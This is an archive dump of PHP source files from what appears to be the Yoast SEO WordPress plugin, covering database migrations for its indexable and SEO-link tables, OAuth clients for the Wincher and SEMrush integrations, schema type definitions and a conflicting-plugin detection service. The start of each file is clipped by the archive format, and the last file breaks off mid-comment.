0ustar00query( 'TRUNCATE TABLE ' . $this->get_table_name() ); } /** * Migration down. * * @return void */ public function down() { // Nothing to do. } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable_Hierarchy' ); } } config/migrations/20200617122511_CreateSEOLinksTable.php000064400000004740152076256000016066 0ustar00get_table_name(); $adapter = $this->get_adapter(); // The table may already have been created by legacy code. // If not, create it exactly as it was. if ( ! $adapter->table_exists( $table_name ) ) { $table = $this->create_table( $table_name, [ 'id' => false ] ); $table->column( 'id', 'biginteger', [ 'primary_key' => true, 'limit' => 20, 'unsigned' => true, 'auto_increment' => true, ], ); $table->column( 'url', 'string', [ 'limit' => 255 ] ); $table->column( 'post_id', 'biginteger', [ 'limit' => 20, 'unsigned' => true, ], ); $table->column( 'target_post_id', 'biginteger', [ 'limit' => 20, 'unsigned' => true, ], ); $table->column( 'type', 'string', [ 'limit' => 8 ] ); $table->finish(); } if ( ! $adapter->has_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] ) ) { $this->add_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] ); } // Add these columns outside of the initial table creation as these did not exist on the legacy table. $this->add_column( $table_name, 'indexable_id', 'integer', [ 'unsigned' => true ] ); $this->add_column( $table_name, 'target_indexable_id', 'integer', [ 'unsigned' => true ] ); $this->add_column( $table_name, 'height', 'integer', [ 'unsigned' => true ] ); $this->add_column( $table_name, 'width', 'integer', [ 'unsigned' => true ] ); $this->add_column( $table_name, 'size', 'integer', [ 'unsigned' => true ] ); $this->add_column( $table_name, 'language', 'string', [ 'limit' => 32 ] ); $this->add_column( $table_name, 'region', 'string', [ 'limit' => 32 ] ); $this->add_index( $table_name, [ 'indexable_id', 'type' ], [ 'name' => 'indexable_link_direction' ] ); } /** * Migration down. * * @return void */ public function down() { $this->drop_table( $this->get_table_name() ); } /** * Returns the SEO Links table name. * * @return string */ private function get_table_name() { return Model::get_table_name( 'SEO_Links' ); } } config/migrations/20191011111109_WpYoastIndexableHierarchy.php000064400000003075152076256000017422 0ustar00get_table_name(); $indexable_table = $this->create_table( $table_name, [ 'id' => false ] ); $indexable_table->column( 'indexable_id', 'integer', [ 'primary_key' => true, 'unsigned' => true, 'null' => true, 'limit' => 11, ], ); $indexable_table->column( 'ancestor_id', 'integer', [ 'primary_key' => true, 'unsigned' => true, 'null' => true, 'limit' => 11, ], ); $indexable_table->column( 'depth', 'integer', [ 'unsigned' => true, 'null' => true, 'limit' => 11, ], ); $indexable_table->finish(); $this->add_index( $table_name, 'indexable_id', [ 'name' => 'indexable_id' ] ); $this->add_index( $table_name, 'ancestor_id', [ 'name' => 'ancestor_id' ] ); $this->add_index( $table_name, 'depth', [ 'name' => 'depth' ] ); } /** * Migration up. * * @return void */ public function down() { $this->drop_table( $this->get_table_name() ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable_Hierarchy' ); } } config/migrations/20171228151840_WpYoastIndexable.php000064400000014315152076256010015601 0ustar00add_table(); } /** * Migration down. * * @return void */ public function down() { $this->drop_table( $this->get_table_name() ); } /** * Creates the indexable table. * * @return void */ private function add_table() { $table_name = $this->get_table_name(); $indexable_table = $this->create_table( $table_name ); // Permalink. $indexable_table->column( 'permalink', 'mediumtext', [ 'null' => true ] ); $indexable_table->column( 'permalink_hash', 'string', [ 'null' => true, 'limit' => 191, ], ); // Object information. $indexable_table->column( 'object_id', 'integer', [ 'unsigned' => true, 'null' => true, 'limit' => 11, ], ); $indexable_table->column( 'object_type', 'string', [ 'null' => false, 'limit' => 32, ], ); $indexable_table->column( 'object_sub_type', 'string', [ 'null' => true, 'limit' => 32, ], ); // Ownership. $indexable_table->column( 'author_id', 'integer', [ 'unsigned' => true, 'null' => true, 'limit' => 11, ], ); $indexable_table->column( 'post_parent', 'integer', [ 'unsigned' => true, 'null' => true, 'limit' => 11, ], ); // Title and description. $indexable_table->column( 'title', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'description', 'text', [ 'null' => true ] ); $indexable_table->column( 'breadcrumb_title', 'string', [ 'null' => true, 'limit' => 191, ], ); // Post metadata: status, public, protected. $indexable_table->column( 'post_status', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'is_public', 'boolean', [ 'null' => true, 'default' => null, ], ); $indexable_table->column( 'is_protected', 'boolean', [ 'default' => false ] ); $indexable_table->column( 'has_public_posts', 'boolean', [ 'null' => true, 'default' => null, ], ); $indexable_table->column( 'number_of_pages', 'integer', [ 'unsigned' => true, 'null' => true, 'default' => null, 'limit' => 11, ], ); $indexable_table->column( 'canonical', 'mediumtext', [ 'null' => true ] ); // SEO and readability analysis. $indexable_table->column( 'primary_focus_keyword', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'primary_focus_keyword_score', 'integer', [ 'null' => true, 'limit' => 3, ], ); $indexable_table->column( 'readability_score', 'integer', [ 'null' => true, 'limit' => 3, ], ); $indexable_table->column( 'is_cornerstone', 'boolean', [ 'default' => false ] ); // Robots. $indexable_table->column( 'is_robots_noindex', 'boolean', [ 'null' => true, 'default' => false, ], ); $indexable_table->column( 'is_robots_nofollow', 'boolean', [ 'null' => true, 'default' => false, ], ); $indexable_table->column( 'is_robots_noarchive', 'boolean', [ 'null' => true, 'default' => false, ], ); $indexable_table->column( 'is_robots_noimageindex', 'boolean', [ 'null' => true, 'default' => false, ], ); $indexable_table->column( 'is_robots_nosnippet', 'boolean', [ 'null' => true, 'default' => false, ], ); // Twitter. $indexable_table->column( 'twitter_title', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'twitter_image', 'mediumtext', [ 'null' => true ] ); $indexable_table->column( 'twitter_description', 'mediumtext', [ 'null' => true ] ); $indexable_table->column( 'twitter_image_id', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'twitter_image_source', 'string', [ 'null' => true, 'limit' => 191, ], ); // Open-Graph. $indexable_table->column( 'open_graph_title', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'open_graph_description', 'mediumtext', [ 'null' => true ] ); $indexable_table->column( 'open_graph_image', 'mediumtext', [ 'null' => true ] ); $indexable_table->column( 'open_graph_image_id', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'open_graph_image_source', 'string', [ 'null' => true, 'limit' => 191, ], ); $indexable_table->column( 'open_graph_image_meta', 'text', [ 'null' => true ] ); // Link count. $indexable_table->column( 'link_count', 'integer', [ 'null' => true, 'limit' => 11, ], ); $indexable_table->column( 'incoming_link_count', 'integer', [ 'null' => true, 'limit' => 11, ], ); // Prominent words. $indexable_table->column( 'prominent_words_version', 'integer', [ 'null' => true, 'limit' => 11, 'unsigned' => true, 'default' => null, ], ); $indexable_table->finish(); $this->add_indexes( $table_name ); $this->add_timestamps( $table_name ); } /** * Adds indexes to the indexable table. * * @param string $indexable_table_name The name of the indexable table. * * @return void */ private function add_indexes( $indexable_table_name ) { $this->add_index( $indexable_table_name, [ 'object_type', 'object_sub_type', ], [ 'name' => 'object_type_and_sub_type', ], ); $this->add_index( $indexable_table_name, 'permalink_hash', [ 'name' => 'permalink_hash', ], ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20230417083836_AddInclusiveLanguageScore.php000064400000001663152076256010017400 0ustar00get_table_name(); $this->add_column( $table_name, 'inclusive_language_score', 'integer', [ 'null' => true, 'limit' => 3, ], ); } /** * Migration down. * * @return void */ public function down() { $table_name = $this->get_table_name(); $this->remove_column( $table_name, 'inclusive_language_score' ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200702141921_CreateIndexableSubpagesIndex.php000064400000002360152076256010020042 0ustar00change_column( $this->get_table_name(), 'post_status', 'string', [ 'null' => true, 'limit' => 20, ], ); $this->add_index( $this->get_table_name(), [ 'post_parent', 'object_type', 'post_status', 'object_id' ], [ 'name' => 'subpages' ], ); } /** * Migration down. * * @return void */ public function down() { $this->change_column( $this->get_table_name(), 'post_status', 'string', [ 'null' => true, 'limit' => 191, ], ); $this->remove_index( $this->get_table_name(), [ 'post_parent', 'object_type', 'post_status', 'object_id' ], [ 'name' => 'subpages' ], ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20260105111111_AddSeoLinksIndex.php000064400000002200152076256010015451 0ustar00get_table_name(); $this->add_index( $table_name, 'url', [ 'name' => 'url_index', ], ); $this->add_index( $table_name, 'target_indexable_id', [ 'name' => 'target_indexable_id_index', ], ); } /** * Migration down. * * @return void */ public function down() { $table_name = $this->get_table_name(); $this->remove_index( $table_name, 'url', [ 'name' => 'url_index', ], ); $this->remove_index( $table_name, 'target_indexable_id', [ 'name' => 'target_indexable_id_index', ], ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'SEO_Links' ); } } config/migrations/20201216141134_ExpandPrimaryTermIDColumnLengths.php000064400000002006152076256010020666 0ustar00change_column( $this->get_table_name(), $column, 'biginteger', [ 'limit' => 20 ], ); } } /** * Migration down. * * @return void */ public function down() { } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Primary_Term' ); } } config/migrations/20200420073606_AddColumnsToIndexables.php000064400000004125152076256010016676 0ustar00get_tables(); $blog_id = \get_current_blog_id(); foreach ( $tables as $table ) { $this->add_column( $table, 'blog_id', 'biginteger', [ 'null' => false, 'limit' => 20, 'default' => $blog_id, ], ); } $attr_limit_32 = [ 'null' => true, 'limit' => 32, ]; $attr_limit_64 = [ 'null' => true, 'limit' => 64, ]; $indexable_table = $this->get_indexable_table(); $this->add_column( $indexable_table, 'language', 'string', $attr_limit_32 ); $this->add_column( $indexable_table, 'region', 'string', $attr_limit_32 ); $this->add_column( $indexable_table, 'schema_page_type', 'string', $attr_limit_64 ); $this->add_column( $indexable_table, 'schema_article_type', 'string', $attr_limit_64 ); } /** * Migration down. * * @return void */ public function down() { $tables = $this->get_tables(); foreach ( $tables as $table ) { $this->remove_column( $table, 'blog_id' ); } $indexable_table = $this->get_indexable_table(); $this->remove_column( $indexable_table, 'language' ); $this->remove_column( $indexable_table, 'region' ); $this->remove_column( $indexable_table, 'schema_page_type' ); $this->remove_column( $indexable_table, 'schema_article_type' ); } /** * Retrieves the Indexable table. * * @return string The Indexable table name. */ protected function get_indexable_table() { return Model::get_table_name( 'Indexable' ); } /** * Retrieves the table names to use. * * @return string[] The table names to use. */ protected function get_tables() { return [ $this->get_indexable_table(), Model::get_table_name( 'Indexable_Hierarchy' ), Model::get_table_name( 'Primary_Term' ), ]; } } config/migrations/20200616130143_ReplacePermalinkHashIndex.php000064400000004373152076256010017357 0ustar00get_table_name(); $adapter = $this->get_adapter(); if ( ! $adapter->has_table( $table_name ) ) { return; } $this->change_column( $table_name, 'permalink_hash', 'string', [ 'null' => true, 'limit' => 40, ], ); if ( $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) { $this->remove_index( $table_name, [ 'permalink_hash', ], [ 'name' => 'permalink_hash', ], ); } if ( ! $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) { $this->add_index( $table_name, [ 'permalink_hash', 'object_type', ], [ 'name' => 'permalink_hash_and_object_type', ], ); } } /** * Migration down. * * @return void */ public function down() { $table_name = $this->get_table_name(); $adapter = $this->get_adapter(); if ( ! $adapter->has_table( $table_name ) ) { return; } if ( $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) { $this->remove_index( $table_name, [ 'permalink_hash', 'object_type', ], [ 'name' => 'permalink_hash_and_object_type', ], ); } $this->change_column( $table_name, 'permalink_hash', 'string', [ 'null' => true, 'limit' => 191, ], ); if ( ! $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) { $this->add_index( $table_name, [ 'permalink_hash', ], [ 'name' => 'permalink_hash', ], ); } } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200408101900_AddCollationToTables.php000064400000001676152076256010016341 0ustar00get_charset_collate(); if ( empty( $charset_collate ) ) { return; } $tables = [ Model::get_table_name( 'migrations' ), Model::get_table_name( 'Indexable' ), Model::get_table_name( 'Indexable_Hierarchy' ), Model::get_table_name( 'Primary_Term' ), ]; foreach ( $tables as $table ) { $this->query( 'ALTER TABLE ' . $table . ' CONVERT TO ' . \str_replace( 'DEFAULT ', '', $charset_collate ) ); } } /** * Migration down. * * @return void */ public function down() { // No down required. } } config/migrations/20200430150130_ClearIndexableTables.php000064400000002057152076256020016330 0ustar00query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() ); $this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() ); } /** * Migration down. * * @return void */ public function down() { // Nothing to do. } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_indexable_table_name() { return Model::get_table_name( 'Indexable' ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_indexable_hierarchy_table_name() { return Model::get_table_name( 'Indexable_Hierarchy' ); } } config/migrations/20190529075038_WpYoastDropIndexableMetaTableIfExists.php000064400000001573152076256020021700 0ustar00get_table_name(); // This can be done safely as it executes a DROP IF EXISTS. $this->drop_table( $table_name ); } /** * Migration down. * * @return void */ public function down() { // No down required. This specific table should never exist. } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable_Meta' ); } } config/migrations/20201202144329_AddEstimatedReadingTime.php000064400000001704152076256020017005 0ustar00get_table_name(); $this->add_column( $table_name, 'estimated_reading_time_minutes', 'integer', [ 'null' => true, 'default' => null, ], ); } /** * Migration down. * * @return void */ public function down() { $table_name = $this->get_table_name(); $this->remove_column( $table_name, 'estimated_reading_time_minutes' ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200507054848_DeleteDuplicateIndexables.php000064400000002113152076256020017410 0ustar00get_table_name(); /* * Deletes duplicate indexables that have the same object_id and object_type. * The rows with a higher ID are deleted as those should be unused and could be outdated. */ $this->query( 'DELETE wyi FROM ' . $table_name . ' wyi INNER JOIN ' . $table_name . ' wyi2 WHERE wyi2.object_id = wyi.object_id AND wyi2.object_type = wyi.object_type AND wyi2.id < wyi.id;' ); } /** * Migration down. * * @return void */ public function down() { // Nothing to do. } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20211020091404_AddObjectTimestamps.php000064400000003013152076256020016217 0ustar00add_column( $this->get_table_name(), 'object_last_modified', 'datetime', [ 'null' => true, 'default' => null, ], ); $this->add_column( $this->get_table_name(), 'object_published_at', 'datetime', [ 'null' => true, 'default' => null, ], ); $this->add_index( $this->get_table_name(), [ 'object_published_at', 'is_robots_noindex', 'object_type', 'object_sub_type', ], [ 'name' => 'published_sitemap_index', ], ); } /** * Migration down. * * @return void */ public function down() { $this->remove_column( $this->get_table_name(), 'object_last_modified' ); $this->remove_column( $this->get_table_name(), 'object_published_at' ); $this->remove_index( $this->get_table_name(), [ 'object_published_at', 'is_robots_noindex', 'object_type', 'object_sub_type', ], [ 'name' => 'published_sitemap_index', ], ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200728095334_AddIndexesForProminentWordsOnIndexables.php000064400000002266152076256020022253 0ustar00get_table_name(); $adapter = $this->get_adapter(); if ( ! $adapter->has_index( $table_name, $this->columns_with_index, [ 'name' => 'prominent_words' ] ) ) { $this->add_index( $table_name, $this->columns_with_index, [ 'name' => 'prominent_words', ], ); } } /** * Migration down. * * @return void */ public function down() { } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200430075614_AddIndexableObjectIdAndTypeIndex.php000064400000001741152076256020020534 0ustar00add_index( $this->get_table_name(), [ 'object_id', 'object_type', ], [ 'name' => 'object_id_and_type', ], ); } /** * Migration down. * * @return void */ public function down() { $this->remove_index( $this->get_table_name(), [ 'object_id', 'object_type', ], [ 'name' => 'object_id_and_type', ], ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200609154515_AddHasAncestorsColumn.php000064400000001663152076256020016544 0ustar00add_column( Model::get_table_name( 'Indexable' ), 'has_ancestors', 'boolean', [ 'default' => false, ], ); Wrapper::get_wpdb()->query( ' UPDATE ' . Model::get_table_name( 'Indexable' ) . ' SET has_ancestors = 1 WHERE id IN ( SELECT indexable_id FROM ' . Model::get_table_name( 'Indexable_Hierarchy' ) . ' ) ', ); } /** * Migration down. * * @return void */ public function down() { $this->remove_column( Model::get_table_name( 'Indexable' ), 'has_ancestors' ); } } config/migrations/20210817092415_AddVersionColumnToIndexables.php000064400000001551152076256020020074 0ustar00add_column( $this->get_table_name(), 'version', 'integer', [ 'default' => 1, ], ); } /** * Migration down. * * @return void */ public function down() { $this->remove_column( $this->get_table_name(), 'version', ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200429105310_TruncateIndexableTables.php000064400000002065152076256020017076 0ustar00query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() ); $this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() ); } /** * Migration down. * * @return void */ public function down() { // Nothing to do. } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_indexable_table_name() { return Model::get_table_name( 'Indexable' ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_indexable_hierarchy_table_name() { return Model::get_table_name( 'Indexable_Hierarchy' ); } } config/migrations/20200428123747_BreadcrumbTitleAndHierarchyReset.php000064400000002357152076256020020720 0ustar00change_column( $this->get_indexable_table_name(), 'breadcrumb_title', 'text', [ 'null' => true ] ); $this->query( 'DELETE FROM ' . $this->get_indexable_hierarchy_table_name() ); } /** * Migration down. * * @return void */ public function down() { $this->change_column( $this->get_indexable_table_name(), 'breadcrumb_title', 'string', [ 'null' => true, 'limit' => 191, ], ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_indexable_table_name() { return Model::get_table_name( 'Indexable' ); } /** * Retrieves the table name to use. * * @return string The table name to use. */ protected function get_indexable_hierarchy_table_name() { return Model::get_table_name( 'Indexable_Hierarchy' ); } } config/migrations/20201216124002_ExpandIndexableIDColumnLengths.php000064400000002024152076256020020302 0ustar00change_column( $this->get_table_name(), $column, 'biginteger', [ 'limit' => 20 ], ); } } /** * Migration down. * * @return void */ public function down() { } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20171228151841_WpYoastPrimaryTerm.php000064400000003027152076256020016161 0ustar00get_table_name(); $indexable_table = $this->create_table( $table_name ); $indexable_table->column( 'post_id', 'integer', [ 'unsigned' => true, 'null' => false, 'limit' => 11, ], ); $indexable_table->column( 'term_id', 'integer', [ 'unsigned' => true, 'null' => false, 'limit' => 11, ], ); $indexable_table->column( 'taxonomy', 'string', [ 'null' => false, 'limit' => 32, ], ); // Executes the SQL to create the table. $indexable_table->finish(); $this->add_index( $table_name, [ 'post_id', 'taxonomy', ], [ 'name' => 'post_taxonomy', ], ); $this->add_index( $table_name, [ 'post_id', 'term_id', ], [ 'name' => 'post_term', ], ); $this->add_timestamps( $table_name ); } /** * Migration down. * * @return void */ public function down() { $this->drop_table( $this->get_table_name() ); } /** * Retrieves the table name to use. * * @return string Table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Primary_Term' ); } } config/indexing-reasons.php000064400000002443152076256030012010 0ustar00 'yoast', 'redirectUri' => 'https://auth.wincher.com/yoast/setup', 'urlAuthorize' => 'https://auth.wincher.com/connect/authorize', 'urlAccessToken' => 'https://auth.wincher.com/connect/token', 'urlResourceOwnerDetails' => 'https://api.wincher.com/beta/user', 'scopes' => [ 'profile', 'account', 'websites:read', 'websites:write', 'offline_access' ], 'scopeSeparator' => ' ', 'pkceMethod' => 'S256', ], [ 'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ), ], ); parent::__construct( self::TOKEN_OPTION, $provider, $options_helper, ); } /** * Return the authorization URL. * * @return string The authentication URL. */ public function get_authorization_url() { $parsed_site_url = \wp_parse_url( \get_site_url() ); $url = $this->provider->getAuthorizationUrl( [ 'state' => WPSEO_Utils::format_json_encode( [ 'domain' => $parsed_site_url['host'] ] ), ], ); $pkce_code = $this->provider->getPkceCode(); // Store a transient value with the PKCE code that we need in order to // exchange the returned code for a token after authorization. \set_transient( self::PKCE_TRANSIENT_NAME, $pkce_code, \DAY_IN_SECONDS ); return $url; } /** * Requests the access token and refresh token based on the passed code. * * @param string $code The code to send. * * @return OAuth_Token The requested tokens. * * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. */ public function request_tokens( $code ) { $pkce_code = \get_transient( self::PKCE_TRANSIENT_NAME ); if ( $pkce_code ) { $this->provider->setPkceCode( $pkce_code ); } return parent::request_tokens( $code ); } /** * Performs the specified request. * * @codeCoverageIgnore * * @param string $method The HTTP method to use. * @param string $url The URL to send the request to. * @param array $options The options to pass along to the request. * * @return mixed The parsed API response. * * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data. * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. * @throws Empty_Token_Exception Exception thrown if the token is empty. */ protected function do_request( $method, $url, array $options ) { $options['headers'] = [ 'Content-Type' => 'application/json' ]; return parent::do_request( $method, $url, $options ); } } config/researcher-languages.php000064400000000523152076256120012617 0ustar00 'yoast', 'clientSecret' => 'YdqNsWwnP4vE54WO1ugThKEjGMxMAHJt', 'redirectUri' => 'https://oauth.semrush.com/oauth2/yoast/success', 'urlAuthorize' => 'https://oauth.semrush.com/oauth2/authorize', 'urlAccessToken' => 'https://oauth.semrush.com/oauth2/access_token', 'urlResourceOwnerDetails' => 'https://oauth.semrush.com/oauth2/resource', ], [ 'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ), ], ); parent::__construct( self::TOKEN_OPTION, $provider, $options_helper, ); } /** * Performs the specified request. * * @codeCoverageIgnore * * @param string $method The HTTP method to use. * @param string $url The URL to send the request to. * @param array $options The options to pass along to the request. * * @return mixed The parsed API response. * * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data. * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. * @throws Empty_Token_Exception Exception thrown if the token is empty. */ public function do_request( $method, $url, array $options ) { // Add the access token to the GET parameters as well since this is what // the SEMRush API expects. $options = \array_merge_recursive( $options, [ 'params' => [ 'access_token' => $this->get_tokens()->access_token, ], ], ); return parent::do_request( $method, $url, $options ); } } config/schema-ids.php000064400000002103152076256120010541 0ustar00 '', 'ItemPage' => '', 'AboutPage' => '', 'FAQPage' => '', 'QAPage' => '', 'ProfilePage' => '', 'ContactPage' => '', 'MedicalWebPage' => '', 'CollectionPage' => '', 'CheckoutPage' => '', 'RealEstateListing' => '', 'SearchResultsPage' => '', ]; /** * Holds the possible schema article types. * * Capitalized in this way so the value can be directly used in the schema output. * * @var string[] */ public const ARTICLE_TYPES = [ 'Article' => '', 'BlogPosting' => '', 'SocialMediaPosting' => '', 'NewsArticle' => '', 'AdvertiserContentArticle' => '', 'SatiricalArticle' => '', 'ScholarlyArticle' => '', 'TechArticle' => '', 'Report' => '', 'None' => '', ]; /** * Gets the page type options. * * @return array[] The schema page type options. */ public function get_page_type_options() { return [ [ 'name' => \__( 'Web Page', 'wordpress-seo' ), 'value' => 'WebPage', ], [ 'name' => \__( 'Item Page', 'wordpress-seo' ), 'value' => 'ItemPage', ], [ 'name' => \__( 'About Page', 'wordpress-seo' ), 'value' => 'AboutPage', ], [ 'name' => \__( 'FAQ Page', 'wordpress-seo' ), 'value' => 'FAQPage', ], [ 'name' => \__( 'QA Page', 'wordpress-seo' ), 'value' => 'QAPage', ], [ 'name' => \__( 'Profile Page', 'wordpress-seo' ), 'value' => 'ProfilePage', ], [ 'name' => \__( 'Contact Page', 'wordpress-seo' ), 'value' => 'ContactPage', ], [ 'name' => \__( 'Medical Web Page', 'wordpress-seo' ), 'value' => 'MedicalWebPage', ], [ 'name' => \__( 'Collection Page', 'wordpress-seo' ), 'value' => 'CollectionPage', ], [ 'name' => \__( 'Checkout Page', 'wordpress-seo' ), 'value' => 'CheckoutPage', ], [ 'name' => \__( 'Real Estate Listing', 'wordpress-seo' ), 'value' => 'RealEstateListing', ], [ 'name' => \__( 'Search Results Page', 'wordpress-seo' ), 'value' => 'SearchResultsPage', ], ]; } /** * Gets the article type options. * * @return array[] The schema article type options. */ public function get_article_type_options() { /** * Filter: 'wpseo_schema_article_types_labels' - Allow developers to filter the available article types and their labels. * * Make sure when you filter this to also filter `wpseo_schema_article_types`. * * @param array $schema_article_types_labels The available schema article types and their labels. */ return \apply_filters( 'wpseo_schema_article_types_labels', [ [ 'name' => \__( 'Article', 'wordpress-seo' ), 'value' => 'Article', ], [ 'name' => \__( 'Blog Post', 'wordpress-seo' ), 'value' => 'BlogPosting', ], [ 'name' => \__( 'Social Media Posting', 'wordpress-seo' ), 'value' => 'SocialMediaPosting', ], [ 'name' => \__( 'News Article', 'wordpress-seo' ), 'value' => 'NewsArticle', ], [ 'name' => \__( 'Advertiser Content Article', 'wordpress-seo' ), 'value' => 'AdvertiserContentArticle', ], [ 'name' => \__( 'Satirical Article', 'wordpress-seo' ), 'value' => 'SatiricalArticle', ], [ 'name' => \__( 'Scholarly Article', 'wordpress-seo' ), 'value' => 'ScholarlyArticle', ], [ 'name' => \__( 'Tech Article', 'wordpress-seo' ), 'value' => 'TechArticle', ], [ 'name' => \__( 'Report', 'wordpress-seo' ), 'value' => 'Report', ], [ 'name' => \__( 'None', 'wordpress-seo' ), 'value' => 'None', ], ], ); } } services/importing/conflicting-plugins-service.php000064400000006224152076256120016536 0ustar00get_active_plugins(); // Search for active plugins. return $this->get_active_conflicting_plugins( $all_active_plugins ); } /** * Deactivates the specified plugin(s) if any, or the entire list of known conflicting plugins. * * @param string|array|false $plugins Optional. The plugin filename, or array of plugin filenames, to deactivate. * * @return void */ public function deactivate_conflicting_plugins( $plugins = false ) { // If no plugins are specified, deactivate any known conflicting plugins that are active. if ( ! $plugins ) { $plugins = $this->detect_conflicting_plugins(); } // In case of a single plugin, wrap it in an array. if ( \is_string( $plugins ) ) { $plugins = [ $plugins ]; } if ( ! \is_array( $plugins ) ) { return; } // Deactivate all specified plugins across the network, while retaining their deactivation hook. \deactivate_plugins( $plugins ); } /** * Loop through the list of known conflicting plugins to check if one of the plugins is active. * * @param array $all_active_plugins All plugins loaded by WordPress. * * @return array The array of activated conflicting plugins. */ protected function get_active_conflicting_plugins( $all_active_plugins ) { $active_conflicting_plugins = []; foreach ( Conflicting_Plugins::all_plugins() as $plugin ) { if ( \in_array( $plugin, $all_active_plugins, true ) ) { $active_conflicting_plugins[] = $plugin; } } return $active_conflicting_plugins; } /** * Get a list of all plugins active in the current WordPress instance. * * @return array|false The names of all active plugins. */ protected function get_active_plugins() { // Request a list of active plugins from WordPress. $all_active_plugins = \get_option( 'active_plugins' ); return $this->ignore_deactivating_plugin( $all_active_plugins ); } /** * While deactivating a plugin, we should ignore the plugin currently being deactivated. * * @param array $all_active_plugins All plugins currently loaded by WordPress. * * @return array The remaining active plugins. */ protected function ignore_deactivating_plugin( $all_active_plugins ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are strictly comparing only. if ( isset( $_GET['action'] ) && isset( $_GET['plugin'] ) && \is_string( $_GET['action'] ) && \is_string( $_GET['plugin'] ) && \wp_unslash( $_GET['action'] ) === 'deactivate' ) { $deactivated_plugin = \sanitize_text_field( \wp_unslash( $_GET['plugin'] ) ); \check_admin_referer( 'deactivate-plugin_' . $deactivated_plugin ); $key_to_remove = \array_search( $deactivated_plugin, $all_active_plugins, true ); if ( $key_to_remove !== false ) { unset( $all_active_plugins[ $key_to_remove ] ); } } return $all_active_plugins; } } services/importing/importable-detector-service.php000064400000005032152076256120016521 0ustar00importers = $importers; } /** * Returns the detected importers that have data to work with. * * @param string|null $plugin The plugin name of the importer. * @param string|null $type The type of the importer. * * @return array The detected importers that have data to work with. */ public function detect_importers( $plugin = null, $type = null ) { $detectors = $this->filter_actions( $this->importers, $plugin, $type ); $detected = []; foreach ( $detectors as $detector ) { if ( $detector->is_enabled() && $detector->get_type() !== 'cleanup' && ! $detector->get_completed() && $detector->get_limited_unindexed_count( 1 ) > 0 ) { $detected[ $detector->get_plugin() ][] = $detector->get_type(); } } return $detected; } /** * Returns the detected cleanups that have data to work with. * * @param string|null $plugin The plugin name of the cleanup. * * @return array The detected importers that have data to work with. */ public function detect_cleanups( $plugin = null ) { $detectors = $this->filter_actions( $this->importers, $plugin, 'cleanup' ); $detected = []; foreach ( $detectors as $detector ) { if ( $detector->is_enabled() && ! $detector->get_completed() && $detector->get_limited_unindexed_count( 1 ) > 0 ) { $detected[ $detector->get_plugin() ][] = $detector->get_type(); } } return $detected; } /** * Filters all import actions from a list that do 